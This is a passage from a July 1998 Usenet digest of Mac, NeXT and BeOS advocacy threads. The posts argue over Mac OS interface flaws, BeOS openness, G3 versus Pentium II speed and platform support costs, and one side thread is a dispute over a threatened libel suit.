References: <mscu1.66997$E5.9893250@proxye1.san.rr.com> <6pbupa$avt$1@news.xmission.com> <6pd50d$p78@newsb.netnews.att.com> <6pde7b$avt$2@news.xmission.com> <6peho8$4fa$1@supernews.com>
NNTP-Posting-Date: 27 Jul 1998 17:29:40 GMT
jcr.remove@this.phrase.idiom.com (John C. Randolph) wrote:
> Don Yacktman may or may not have said:
> -> I still find it astonishing to note how much MS's API's resemble Rube
> -> Goldberg devices.
>
> That's not quite fair... At least Rube Goldberg's work was fun to read.
True. I certainly don't intend to disparage Mr. Goldberg's work! :-)
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: Brian Oberquell <boberque@starvision.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Getting along WAS: Re: Apple heading to obscurity?
Date: Mon, 27 Jul 1998 11:36:31 -0700
Organization: Starvision Multimedia Corp.
Message-ID: <35BCC8AE.81F49DF0@starvision.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <6pie2b$9kh$1@lwnws01.ne.highway1.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
John and Joe (and any others involved in this or future controversies), some
suggestions:
1) Howzabout everyone look up the difference between "slander" and "libel"? Hint:
one is written, the other is verbal.
2) Please learn the difference between "your" and "you're". I find it hard to
take people seriously when they miss a basic concept like this. Another one to
watch out for (though I haven't seen it come up lately) is "its" and "it's".
3) If someone makes an erroneous statement, try giving them the benefit of the
doubt and informing them of the error of their ways, thus giving them a chance to
apologize and make a retraction? Then, should they fail to do so, cry Havoc! and
let slip the lawyers... :-)
3) If you choose to continue this pissing contest, please consider taking it off
the NG or else change the subject header. While I find it mildly humourous, I
would like the option of ignoring it -- which is harder to do when I have to
check the message content because others are posting with this subject header. It
would appear that it's winding down, but ya never know...
Thanks,
Brian
John Kheit wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > WHAT I SAID was "IIRC, John Kheit said...". IIRC means that I wasn't sure.
> > When you said it wasn't you, I apologized and withdrew the statement.
> >
> > Hardly worth your threats to sue me--not once, but twice.
>
> You clearly don't understand the use of a conditional. And it is not a
> threat, it is a *promise* that I will sue you if you misrepresent what I say
> even one more time. That statement serves as notice to you, now 3 times,
> that if you slander me, I will exercise my legal rights and obtain remedy.
> You applogized, and added snippy comments as well; I appreciate the appology
> very much. Thank you it was decent of you. I consider the matter closed,
> but my notice stands.
>
> > > To be honest, I think Joe is a very nice fellow.
> >
> > You sure have a funny way to show it--threatening all sorts of
> > dire actions.
>
> You have a funny misunderstanding of the law. Notice that you will be sued
> *if* you make any further slanderous misrepresentations is a courtesy. Suing
> if that happens is not a dire action, though the consequences of it may well
> be to you, nor a threat. The conditional prospect of the suit occuring is
> subject to your potential malice, as such it is information provided to you
> that you are violating my rights and will be subject to the punishments
> provided by law.
>
> It's similar to an old tort law self defense case. This knight in england
> was walking down the street and someone told him "your mother sucks beans" or
> somesuch other nonsense. The knight responded "if it were the hour of
> something or other, I would kill you." It wasn't that hour, so it was not a
> threat. Furthermore, if you tell someone, "if you hit me, I'll be forced to
> defend myself and beat the hell out of you" you are not making any threat.
> You are informing the person of your rights. There's a lot of case law on
> this. And you're wrong in your understanding about the topic.
>
> --
> Thanks, be well, take care, later, John Kheit; self expressed...
> ______________________________________________________________________
> UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
> mailto:jkheit@uco-iplaw.com
> http://people.ne.mediaone.net/jkheit
> You're dangerous because you're honest...
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 27 Jul 98 18:50:13 GMT
Organization: QMS
Message-ID: <6pii1m$2gg$1@news01.deltanet.com>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <6p85g8$g4q$1@news01.deltanet.com> <gmgraves-2407981223510001@sf-usr1-3-131.dialup.slip.net>
In article <gmgraves-2407981223510001@sf-usr1-3-131.dialup.slip.net>, gmgraves@slip.net (George Graves) wrote:
>In article <6p85g8$g4q$1@news01.deltanet.com>, scott@eviews.com (Scott
>Ellsworth) wrote:
>
>> The argument that they should buy PPC based computers anyway falls
>> down on several counts:
>>
>> The amount of cash they make from the sale of one chip is small.
>> I have heard on the order $30-40 profit is a pretty good haul on a
>> recent model chip. (The margins are rather tight.) Thus, if they can
>> save that amount by buying a Wintel machine, it is worth doing so.
>> They can always use the money saved to make cheaper/better PPC
>> chips.
>
>At the expense of their own credibility? I don't see how you can
>make a case for this. Its like the president of GM driving a Ford,
>it certainly speaks volumes about confidence in ones's own product.
Depends on where they see thier market being.
Motorola has always been very strong in the embedded market, so they
may well think that it is not worth the large pile of cash needed to
have a desktop computer, when they do not think there is a future in
that market for them.
In the same sense, Lexus does not make a pickup truck, so a Lexus
exec that wants a pickup is going to have to get something made by
a competitor. In the case of the PPC, Moto cannot make a PPC
based machine to use in house, so they need to buy Macs. They
may well feel that they need the apps living on NT. I know as a Java
developer, I would be hesitent to recommend Mac-only development
machines, since the JVMs are much, much slower than the Windows
ones for Swing. This will change when Apple releases 2.1, but at this
exact point in time, the Mac is not a nice place to do Swing work.
Other Java work seems to do OK, but I have been doing a lot of Swing
lately, and it does hurt.
>> The many studies that show Macs as cheaper to support usually have
>> a flaw lurking in them. They assume that the user will not have to
>> support Wintel machines anyway. It is essentially impossible to avoid
>> needing MS tools, if you need to exchange documents with people on
>> Wintel. I have tried DataViz, as well as other tools, and avoiding
>> the MS Juggernaut is not an easy task, because these tools just do
>> not work well enough.
>
>There are a number of cheap answers to this dilema, like Connectix'
>VPC and Insignia's SoftWindows products. Many Mac users solve their
>Windows compatibility problems using these inexpensive and wholly
>satifactifory solutions (I certainly do).
I think you missed my point - if I still need to have a piece of
Wintel software supported, such as QuickPay, then I need to have
Windows support people. Further, if they need to maintain Windows
running under VPC, I still need to have these people trained and paid.
It may well be cheaper to have them only supporting one package,
and Windows itself on VPC, than supporting a whole PC with a bunch
of applications, but they will still cost me money.
Further, having a support organization in place to support one or
two oddball machines costs a bunch, compared with supporting a single
platform. That amount may be worth it, if the oddball machine gives
you something good. For example, if the publishing and development
departments use Mac machines, accounting uses PCs, and everyone
uses Word 97 for WP, it might not be a problem, because there is so
little overlap between compilers, design tools, and accounting
packages. If, on the other hand, Bob in accounting needs support
people who both know PCs and Macs, that might be a substantial
addition.
To summarize - it is always pricey building up a support organization.
By standardizing where you can, you can limit the cost. Occasionally,
you need something outside the bounds, such as a PC in a Mac software
house to test a Java app on, or a Mac running VPC to run QuickPay.
Those out of bounds machines are pricey, unless you need the support
people for something else.
Hiring one guy to maintain one Mac costs too much, just like hiring
one guy to maintain one PC. Hiring one to maintain a dozen, on the
other hand, can be worth it, so you need to know where the line is
drawn, and what it costs. Are there enough people who need a
given piece of Mac/PC software in a primarily PC/Mac company
to justify hiring the support people for it?
>> (Side issue - I have done so to date, but various third party
>> spreadsheets are Excel based, so I may need to buy Office.
>> This saddens me, as Office is far from good. Ick.)
>
>Actually Office98 for the Mac IS a decent product. Not a great
>product perhaps, but certainly a decent one. Its cross platform
>compatible, and is a fairly benign concession to "standardization".
I mistrust the MS juggernaut, but may well have to. I needed to
do somethings in ClarisWorks recently that it was just incapable
of doing, MW Pro was not up to the task in other ways, and I can
not really afford a PPC copy of FrameMaker, my preferred document
processing poison.
>> If you will need to use Office and various other Windows products
>> anyway, then the "lowered support costs" for Macintoshes will
>> often become a phantom.
>
>But Office IS available for the Mac. Its files are 100% compatible with
>Office for Windows. Not a good example, I'm afraid.
True, but previous versions of it felt so Windows-like to me that I
mentally considered them Windows software. Incorrect, I suppose,
but certainly how Word 6 felt. A better example would be QuickPay.
I find much of the lowered cost of support for a Mac comes from the
better software. The OS support is nicer, but that does not make all
of the difference, imho. I find the software I use under the MacOS
works better, if it does the task at all. This is why I am still
here.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Newsgroups: comp.sys.be.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <B1E200E6-9894@128.138.177.193>
Message-ID: <35bcb96a.0@news.depaul.edu>
Date: 27 Jul 98 17:31:22 GMT
In comp.sys.next.advocacy Jay Riley <datamagik@usa.net> wrote:
> If you count the class library, yes that is proprietary. But as far as
> I can tell, almost anything that compiles on a POSIX system (or a GNU
> or Linux system) will on BeOS as well.
Perhaps, but POSIX software is hardly Be software, is it? If you're
only using POSIX software, why use BeOS?
<snip>
> Postscript is a proprietary Adobe technology. Actually it was one of
> the things I was thinking of when I refered to Rhapsody being more
> proprietary.
> Be's imaging model looks like QuickDraw brought into the 90's. And as
> I understand it you can use OpenGL as well.
Postscript has been legally cloned, and is fully documented. I
doubt you can find a clone implementation of Be's imaging model.
> If BeOS is so proprietary why are Amiga-philes and
> GNU/Linux/open-standards buffs so drawn to it?
Because a) it's not Windows, b) these folks tend to be bleeding-edge
programmer types, and BeOS is well suited for these folks, c) they
can compile their Unix tools on it.
> I think you'd be surprised at the amount of openstandards stuff
> that's making its way over to BeOS, AND at the number of familiar
>MacOS names coding for that platform.
I doubt there's much overlap between the openstandards stuff and
actual Be API software.
> Please don't take offence but it's ludicrous to call NeXTSTEP "open".
> It uses a lot of recognized standards, but all in all I believe Be
> edges it out on openness.
I don't see how you can come to this conclusion. Being able to
compile POSIX apps on an OS doesn't make that OS 'open'.
<snip>
> Actually many of the tools shipped with BeOS were compiled using the
> GNU compiler.
What kind of tools? Commandline tools? Or first-class BeAPI
GUI apps?
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 27 Jul 1998 11:23:48 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <andyba-ya02408000R2407981101130001@news>
On Fri, 24 Jul 1998, Andy Bates wrote:
> In article <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > On Thu, 23 Jul 1998, Andy Bates wrote:
> >
<snip>
> > You're right. Stagnant is the wrong word.
> >
> > Let me try to clarify what I think.
> >
> > Since the Macintosh was created, other OSes have implemented many of the
> > features found in the Mac OS. Many of these OSes have implemented some new
> > behaviors that are not found in the Mac OS that are useful.
>
> Such as? Were these changes "revolutionary," or just incremental changes?
> Did they bring along other unwanted behaviors?
In some cases there were other unwanted behaviors brought along. One such
glaring case is MDI in Windows. Though putting menus in windows is at
first a logical and apparently useful thing to do, it virtually enforces
working with full screen applications. Users want as much space as
possible for document windows. Since document windows are confined to
application windows, users maximize that application window. This means
that the user must then switch between multiple full screen
applications. This resembles single tasking a lot.
Taking the menus outside "application windows" as in the Mac OS and NeXT
avoids this problem/flaw.
The differences in implementation for these other OSes were mostly
incremental. You seem to be more hung up on the revolutionary business
than I am.
> For that matter, why is Apple faulted for not accepting new behaviors from
> other OSes? Other OSes haven't implemented all of Apple's advancements!
Right! And that is why I consider the Mac UI to be the best! OTOH, there
are definitely some good ideas to other OSes. To ignore those ideas
because we have the best UI would be foolish!
> > Other OSes
> > have implemented features that were not present in the Mac OS and are done
> > better than the Mac OS does them now. In short they have caught up in a
> > lot of ways and in other ways surpassed Apple.
>
> Again, please cite specific examples.
There are countless examples involving multitasking. Since Apple is
working on Mac OS X Server and Mac OS X, I will assume that Apple will
address those issues and won't bring them up now (I've tried to avoid
mentioning any of these issues in my posts for just that reason).
There isn't an obvious enough indication of the foreground application and
background applications. The application menu is not good enough. This has
always been a problem in that closing all the windows of an application
doesn't make the application go away (rightly so). The user can easily get
confused as to what is currently running. Applications with no windows
open aren't obvious yet they are still taking up system resources.
Windows has the taskbar. While this isn't perfect, it is much more useful
than the Macintosh application menu. It presents an obvious way to
switch between applications and provides clear indication of what is
currently running. Each window in Windows has an icon and usually an
applicaiton name that associates that window with a particular
application.
NeXT had application tiles which provided indication of what applications
were open and what was the foreground application.
The Mac OS cannot compare right now. We'll see how (if) Mac OS 8.5 really
addresses this issue. I have yet to play with that.
> > There were and still are
> > serious flaws to the Mac OS. Some of the things Apple did to adress them
> > do not go far enough to even catch up again much less take the lead. Other
> > things Apple still has not addressed. Very little of what Apple is adding
> > to the Mac OS now is new to the computer industry.
>
> And? Very little of what MOST companies add to their OS is new to the
> computer industry! There aren't that many totally-new OS concepts out there
> recently! Can you name one totally-new OS concept that, for example,
> Microsoft put into Windows? Or NeXT?
System wide contextual menus.
Taskbar.
Shelf (OpenStep betas)
I don't give a damn if they weren't totally new. The Mac OS doesn't have
them or anything enough like them in all cases.
> > Some other OS has
> > implemented nearly all of it. Stagnation is the wrong word for how the Mac
> > OS has advanced since it _has_ advanced. Perhaps relative stagnation would
> > better express what I mean. The advancements have been in an effort to
> > keep up and have not done a very good job.
>
> Yes, the lead between the Mac OS and other OSes will never be as great as
> when the Mac was introduced and all other OSes were using text-based
> interfaces. This is a simple fact. Until a new paradigm shift comes around,
> that's the way it will be. However, Apple IS making advancements (in an
> effort to keep up, just like every other company), and they HAVE done a
> good job. Now, maybe they've been slow in adopting other companies'
> features, like contextual menus or Cmd-Tab application switching, but these
> are, again, not groundbreaking advancements.
That's fine. They were things that represent signficant additions to the
Mac UI. They do not have to be advancements that blow everything else out
of the water. You are stuck on this "revolutionary" business.
> In fact, I applaud Apple for not standardizing every "OS feature of the
> week," since some of them simply aren't that useful, and are really just
> gimmicks.
Like what?
> Hey, let third-party developers make extensions that implement
> these features! What's the problem with that? You can't just add something
> in because it's new. Believe me, Apple could have bought out 100 small
> developers and put all of their features into the Mac OS, but then the OS
> would be needlessly cluttered, and probably half of those features would go
> unused by most people.
I am not arguing for the willy-nilly addition of features implemented by
3rd parties. I am arguing for the thoughtful insertion of some of those
things. Just dumping a dozen utilities onto the standard Mac OS is not
going to make it much more useful and will increase clutter. There are
some that could be integrated into the Mac UI.
> > > Again, the flaws that you have addressed, aside from the menu issue, seem
> > > to all be incremental changes themselves.
> >
> > That's fine sometimes that's all it takes. I would like a revolutionary
> > new behavior, but barring that I will take an incremental improvement. I
> > do not want the same old flawed behavior.
>
> Apple has been making incremental improvements. Thank you for acknowledging
> that.
Apple has been making improvements like adding multifinder. Whoopee. Oh,
and cooperative multitasking. Wow! Ooh, 3D shaded buttons! Gray menus!
Colorful icons! Whee!
> > Fewer significant changes to the UI are being made than would allow Apple
> > to _greatly_ surpass other OSes that would make the Mac UI the best in the
> > world _and_ a good UI.
>
> Oh come on! The Mac OS IS a good UI! You can't even give it that much?
No I can't. I think it is the best in a lot of ways, but is not good. It
has a ways to go before I consider it to be good.
> No,
> it's not a perfect UI, but it is still a good UI! Are you so jaded that
> every single minor flaw you can pick out has to be fixed before you'll even
> accept a UI as "good"? That's ridiculous.
It's not specifically the "minor flaws", but the fact that I don't think
the UI is all that good. The entire concept works obviously, but I'd bet
that something a lot more intuitive and easy is possible.
> > Right now, I believe they are all bad. The Mac UI
> > just has the distinction of being the best of the bad. That's not a
> > particularly flattering distinction.
>
> Fine. You go ahead and believe that every UI is bad, while the rest of us
> enjoy our user interfaces and the productivity they provide. Personally, I
> think that Apple, NeXT (now Apple), and Sun all have good UIs. Even
> Microsoft is pretty good, if you're not as discerning. But calling all of
> those UIs "bad" seems petty and unreasonable. You drag a disk to the Trash
> to eject it, so it's a bad UI? You have a menu bar that wastes 1% of the
> pixels on the screen, so it's a bad UI? I guess people will always find
> something to complain about.
Oh good grief. You really don't understand what I'm trying to say (which
ins't helped by the fact that I'm not doing a good job of expressing myself.)
Of all the OSes and hardware platforms I have to choose from, I choose the
Macintosh. I use it and get work done. I enjoy it despite its flaws
because I enjoy interacting with computers in general and think that the
Mac OS happens to have one of the more elegant and well thought out UIs
currently available, but I think that it has a lot of room for
improvement. I also think that the way we currently interact with
computers is generally clunky and cumbersome. While I do not know what
would be better, I can see that what we have isn't particularly good.
If you want to take that as a put down of the Mac OS, well fine. It is in
a way.
> > You dismiss the "Trash Can thing" too quickly. The user should not have to
> > modify his behavior or have to spend time learning a behavior because of
> > some quirk of the OS when it could be done to be immediately intuitive and
> > quick.
>
> And you spend too much time overanalyzing a graphical shortcut! How do you
> make an alias to a file, or get info, or create a new folder? You select
> the item, then make a menu selection or use a command-key shortcut. And
> that is the EXACT SAME WAY THAT YOU EJECT A DISK! You select the disk (by
> clicking), and then select the Eject menu item!
Gee. Let's look further into what this entails.
There are 4 options that are worth discussing.
1) Put Away: why does that eject and unmount a disk? Why is it called that
and why is it in the File menu if it operates on disks?
2) Eject: why is that in the Special menu? That is not an obvious place
for it. Yes searching through the menus would get the user to it
eventually, but it is not obvious and intuitive.
3) Drag to the trash: why have a behavior that scares the user to try it
the first few times?
4) Contextual menu eject: this one is a lot better than all the others,
but contextual menus are invoked by a control click. That's not very
intuitive. It is also not an option that is always visible.
Why not have a special widget that makes it clear how to unmount a volume?
Is that such a horrible thing?
What about the shelf concept that Forrest has mentioned? Is that wrong?
Would an obvious indication of how to deal with mounted volumes be a bad
thing? Are you averse to considering it? Are the current Mac OS solutions
any better?
> However, it does not ever NEED to be used! Can you understand that?
I understand it perfectly. I think that nothing the Mac OS currently
allows is good for unmounting disks. With a 2 button mouse and the second
button bringing up a contextual menu, one thing would be good, but the
others are wrong.
> > I would like to see a more obvious indication of the foreground
> > application. The current application menu does not go nearly far enough.
>
> Well, if there are no windows currently open for that application, then no,
> it won't be obvious that it's running if you're selected another program.
Even then the indication is not good enough. All you have is the little
16x16 pixel icon at the top right of the menu bar and the foreground
window to provide any indication. This could be a lot better.
> But with a good VM system (which I admit that Apple does not have yet),
> this is not a problem. The open application won't take up any more memory,
> since it's all virtual anyway, and it won't bother anyone in the
> background, so it's not really a problem.
Even with a good VM system, I think there should be an obvious indication
of what applications are open. The Mac OS does not do that now.
> > The new menu in Mac OS 8.5 does better, but is still not enough. This is
> > an issue that bites a lot of people and even gets me occaisionally.
>
> Tell me, how have you gotten "bitten" by this? How is having an extra
> application a problem, except in low-memory situations?
Occasionally I have multiple applications open and I get confused as to
which one is in the foreground particularly if there is an application
with no windows open in the foreground. Every so once in a while I get out
of memory errors because an app that has no windows open has been left in
the background. On the Mac OS, all applications end up taking some
processor time. Even ones that shouldn't be doing anything still take up
processor resources.
It doesn't happen often that it bothers me, but that is because I am used
to the way the Mac OS works. This could be solved so that it is never a
problem.
> > The file system type handling is not a minor issue. I have been annoyed by
> > this many times before as have many other Mac users. Just because I can
> > use ResEdit to fix the issue does not mean that there is a no serious
> > problem. Windows is worse, but that's no excuse for the Mac OS.
>
> Again, that's only a problem with files downloaded from the internet.
YES!!!!! Don't dismiss the problem because of that!
This could be fixed by a new way of deciding the type of a file. I've
talked about this before.
> If
> you want to open a file with a particular application, just drag it onto
> the icon, or open it from within the application. If it can open it, it
> will, regardless of file type.
WRONG! Not all applications will do that. Some _must_ have the appropriate
type in order to open a particular file.
> > There are more that aren't coming to me right now.
>
> Well, the ones you have listed so far seem minor at best.
I came up with a few more in another more recent post. If you want me to
repost them I will.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: etomlins@rohan.sdsu.edu (tomlinson)
Newsgroups: comp.sys.be.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Followup-To: comp.sys.be.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 27 Jul 1998 18:57:03 GMT
Organization: San Diego State University
Message-ID: <6piihv$i08$1@hole.sdsu.edu>
References: <B1E200E6-9894@128.138.177.193> <35bcb96a.0@news.depaul.edu>
Jonathan W Hendry (jhendry@shrike.depaul.edu) wrote:
: What kind of tools? Commandline tools? Or first-class BeAPI
: GUI apps?
Command-line tools. All the usual suspects, I believe--yacc (well,
bison), lex (well, flex), and so on.
The BeAPI first grew out of CodeWarrior for Macintosh. Since BeOS
for PowerPC used the (proprietary, closed) object format PEF, it
was a comparatively simple matter to compile Be applications on
a Macintosh--indeed I'm fairly sure that with the first BeBoxes,
this was the _only_ way to build for Be.
BeOS is considerably less open than even Windows NT for this reason.
At least it is possible to write Win32 applications without being
forced into buying Microsoft's compiler.
-tomlinson
--
Ernest S. Tomlinson - San Diego State University
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 27 Jul 1998 09:04:05 -0500
Organization: Prairie Group
Message-ID: <MPG.102644cb380d3766989a28@news.supernews.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <see-below-2407980002030001@dynamic18.pm10.mv.best.com> <not-2407981144330001@ip-26-164.phx.primenet.com> <gmgraves-2407981753310001@sf-usr1-29-157.dialup.slip.net> <MPG.10239f2a79c544019899f9@news.supernews.com> <gmgraves-2507981506280001@sf-usr1-25-153.dialup.slip.net> <MPG.1025061eaae09928989a0d@news.supernews.com> <gmgraves-2607981503190001@sf-usr1-35-163.dialup.slip.net>
In article <gmgraves-2607981503190001@sf-usr1-35-163.dialup.slip.net>,
gmgraves@slip.net says...
> > If you're going to be using your time machine before Wednesday, can you
> > bring back this week's PowerBall numbers? We can split the results.
> >
> > The Rhapsody DR2 is a developer release. I don't know if they're going
> > to do it for the consumer release, they may well want to make sure that
> > any developer demos look good.
> >
> > There is a risk of this. Of course, if OS-X will run on these other
> > machines and Apple keeps the installer from installing on them, there
> > will be patches to get around this. And, a note to leadership@apple.com
> > might help to turn the restriction into a warning.
> >
> > It just seems a little too early to be making this assumption.
>
> Well, it IS an asumption, to be sure. But, on the other hand, Apple
> is being pretty emphatic about what they will and won't support.
> What better way insure that position than to restrict the installation
> only to those "blessed" computers. They have certainly show that they
> know how to do so.
>
No PowerBall numbers then? Dang.
Donald
From: mclark@htg.net (M. Clark)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: PII 46% faster than G3 according to industry standard benchmarks
Date: Mon, 27 Jul 1998 11:24:49 +1000
Organization: Huntleigh Telecom, El Paso TX
Message-ID: <19980727112449105191@pm3-1-173.htg.net>
References: <35ba8474.0@news1.ibm.net> <35bcaf22.4151551@news.newsguy.com> <35BB6D7C.D0A9AC94@bellsouth.net> <Macghod-2607981534460001@sdn-ar-001casbarp113.dialsprint.net> <35BBF9FA.5869D6D3@bellsouth.net> <Macghod-2607981933110001@sdn-ar-001casbarp068.dialsprint.net>
Steve Sullivan <Macghod@concentric.net> wrote:
> In article <35BBF9FA.5869D6D3@bellsouth.net>, murchy@bellsouth.net wrote:
>
> > It's Ironic that some of you smirk at a "30%" advantage. Keep this in
> mind, with a
> > 30% advantage a 3D rendering job that takes 3 hours on a PC would take 2
> hours on a
> > G3 mac. Isn't that worth a little more money?
>
> Oh please. First of all, you ignored the last sentance of the bellow quote.
> Second, if a p2 topped out at 266 mhz, then you would have a point. But
> it doesnt, AND a p2 333 is about the same speed as a g3 266, AND MUCH MUCH
> CHEAPER for a machine with the same components as a g3 266 (ie the same
> graphics card with same ammount of vram, same exact model hard drive, same
> exact model cd, etc).
>
> TELL ME THIS, how is it worth the extra money when you can buy a faster p2
> that will also render the same job in 2 hours, AND WILL BE CHEAPER!!
>
>
>
> This is verified by APple's own internal engineers. YOU were the one that
> said a g3 smoked a p2. This is simply false. Not only is a p2 333 the
??????
Smoked? Are you gentlemen inadvertently arguing over an arbitrary term
here? Is there an agreed upon performance percentage difference, for
example, where one CPU is officially recognized to smoke another? If
so, what is that percentage?
I'd say the marketing people definitely know how to get into people's
heads.
> same speed as a g3 266, BUT ITS CHEAPER!!
If you'd volunteer some actual price figures you probably wouldn't have
to continually remind readers that one CPU is cheaper than another.
M. clark
>
> So why dont you just apologize for all the wrong things you said, admit
> that a g3 doesnt kick a p2's butt?
>
> Then, you can satisfy your rabid pro apple ways by bragging about how a g3
> powerbook smokes a p2 notebook in speed AS WELL as price/performance. At
> least it will be the truth, and you can continue your rabid pro apple ways
>
>
>
>
> > Steve Sullivan wrote:
> >
> > > HAHAHAHAHAHA, just tell that to Apple's own engineers, who tested the two
> > > with 10 different photoshop functions and found a g3 266 to be ONLY %30
> > > faster than a p2 266. So that would make a g3 266 as fast as what, a p2
> > > 333? I wonder what the price difference between the two configured the
> > > same would be...
> > >
> > > APple's own engineers showed that bytemark is many many many times more
> > > inaccurate than spec. Get the spec numbers between a g3 266 and a p2 266,
> > > then the bytemark numbers, and compare the two to apple's photoshop
> > > results, you will see one is incredibly more off base than the other
> > >
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 27 Jul 1998 17:40:27 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pie2b$9kh$1@lwnws01.ne.highway1.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> WHAT I SAID was "IIRC, John Kheit said...". IIRC means that I wasn't sure.
> When you said it wasn't you, I apologized and withdrew the statement.
>
> Hardly worth your threats to sue me--not once, but twice.
You clearly don't understand the use of a conditional. And it is not a
threat, it is a *promise* that I will sue you if you misrepresent what I say
even one more time. That statement serves as notice to you, now 3 times,
that if you slander me, I will exercise my legal rights and obtain remedy.
You applogized, and added snippy comments as well; I appreciate the appology
very much. Thank you it was decent of you. I consider the matter closed,
but my notice stands.
> > To be honest, I think Joe is a very nice fellow.
>
> You sure have a funny way to show it--threatening all sorts of
> dire actions.
You have a funny misunderstanding of the law. Notice that you will be sued
